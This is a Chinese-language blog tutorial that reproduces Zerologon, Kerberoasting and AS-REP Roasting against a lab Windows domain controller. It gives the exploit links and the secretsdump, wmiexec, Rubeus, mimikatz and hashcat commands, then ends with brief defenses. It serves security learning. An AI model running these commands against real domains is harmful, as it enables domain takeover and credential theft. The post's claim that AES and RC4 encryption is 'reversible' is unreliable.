在上一篇文章中,我们系统拆解了域控制器的三大高危漏洞(Zerologon、Kerberoasting、AS-REP Roasting)的原理、危害与攻击路径。实操才是安全测试的核心 —— 本文将基于 Windows Server 2019 域控制器环境,一步步复现漏洞利用全流程,从漏洞检测、哈希抓取到权限获取。考虑到内网环境的特殊性,文中会兼顾 “简化测试(新增网络适配器直连)” 与 “模拟真实内网场景(流量转发)” 的适配性,流量转发配置的部分可参考前文,让不同需求的读者都能快速上手。
目录

环境搭建
- 域控制器:Windows Server 2019(域环境:hack.com,域控主机名:DC,IP:192.168.236.130)
- 测试说明:内网环境下通常需通过 proxychains4 代理流量访问域控(前文已详述配置),本文为简化操作,直接为测试机新增网络适配器,与域控处于同一网段直连测试。

1、Zerologon漏洞
漏洞的原理我们这里就不多介绍·,在我的上一篇文章有进行详细的描述。域控制器漏洞-优快云博客
Zerologon漏洞的漏洞编号是-CVE-2020-1472,那么我们可以在网上找一些POC
首先就是漏洞测试脚本:https://github.com/SecuraBV/CVE-2020-1472
使用语法如下:
python3 zerologon_tester.py 域控制主机名 域控制器IP

可以看到,是存在zerologon漏洞,可以进行利用,那么接下来就是进行攻击,可以使用下面的poc,地址如下:VoidSec/CVE-2020-1472: Exploit Code for CVE-2020-1472 aka Zerologon
在这个POC中通过使用脚本是可以直接置空域控hash。

使用 Exploit 脚本置空域控制器计算机账户(DC)的密码哈希(注意:并非域控整体哈希,而是 账户 —— 域控的核心计算机账户)
然后使用如下命令抓取hash,下面命令使用的是impacket库中的脚本,如果说你是通过pip安装的,那么你就不用添加python3,如果不是,就要添加python3
secretsdump.py hack.com/DC\$@192.168.236.130 -no-pass

成功,我们在只知道域控制器的主机名和域控制器的IP地址的情况下,获得了域管理员的hash,那么我们就可以正式控制域控制器,比如使用impacket中的wmiexec.py脚本进行登录,使用命令如下
wmiexec.py -hashes :NTLM 域名/administrator@域控制器IP

成功获取权限。因为有很多的POC可以利用,所以这个漏洞复现是比较简单的。
2、Kerberoasting 漏洞
原理:通过请求域内 SPN(服务主体名称)绑定的服务票据,离线爆破票据中的服务账户密码哈希,适用于存在弱密码的服务账户。
首先需要先获得域内SPN服务,这里推荐使用工具Rubeus.exe工具进行扫描,使用命令如下
Rubeus.exe kerberoast

在定位完SPN后,就需要进行请求,使用下面的命令请求服务SPN
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "服务名称地址"

然后就通过mimikatz来进行票据的导出,使用的命令如下
kerberos::list /export
mimikatz导出的格式为.kirbi,用 hashcat 爆破,需将 .kirbi 格式转换为 hashcat 支持的格式,也可以通过Rubeus直接生成hashcat支持的格式
Rubeus.exe kerberoast /format:hashcat /outfile:hash.txt # 直接导出为 hashcat 格式
导出后就可以通过hashcat直接进行破解
hashcat -m 13100 hash.txt pass.txt

爆出账号密码后即可使用服务账号进行登录即可。
3、AS-REP Roasting攻击
原理:针对域内 “禁用预认证” 的用户,攻击者可伪造 AS-REQ 请求,获取 DC 返回的 AS-REP 响应包,离线爆破包中用用户哈希加密的会话密钥,最终还原用户密码。
这个和上面的前面的步骤都是差不多的。一个是扫描服务SPN,一个是扫描域内所有 “禁用预认证” 的用户。扫描并导出的命令的命令如下
Rubeus.exe asreproast /outfile:asrep_hash.txt # 导出哈希到文件
主要原理是,AS 会跳过预认证验证,直接向 “任何发送 AS-REQ 的请求者” 返回 AS-REP。此时:攻击者可伪造该用户的 AS-REQ(只需知道用户名,无需密码),向 DC 发送请求;
DC 验证用户名存在且 “无需预认证”,直接返回 AS-REP;
攻击者获取 AS-REP 后,重点破解其中 “用用户 Hash 加密的 Client/TGS 会话密钥”—— 由于该字段的加密算法是可逆的(如 AES-256、RC4),攻击者可通过离线爆破(如用 Hashcat)还原出用户的密码 Hash,甚至明文密码。
总结
- Zerologon 漏洞无需提前获取任何凭证,仅需域控主机名 + IP 即可置空 DC$ 账户,进而抓取管理员哈希;
- Kerberoasting 针对服务账户,依赖 SPN 票据离线爆破,核心是字典质量与格式转换;
- AS-REP Roasting 瞄准 “禁用预认证” 的用户,无需交互即可获取爆破素材,适用于无凭证初始攻击。

安全防御
- 及时给域控安装补丁(如 Zerologon 对应补丁 KB4593226),避免漏洞被利用;
- 启用所有用户的 “预认证” 功能,禁止弱密码,定期轮换服务账户密码;
2009

被折叠的 条评论
为什么被折叠?



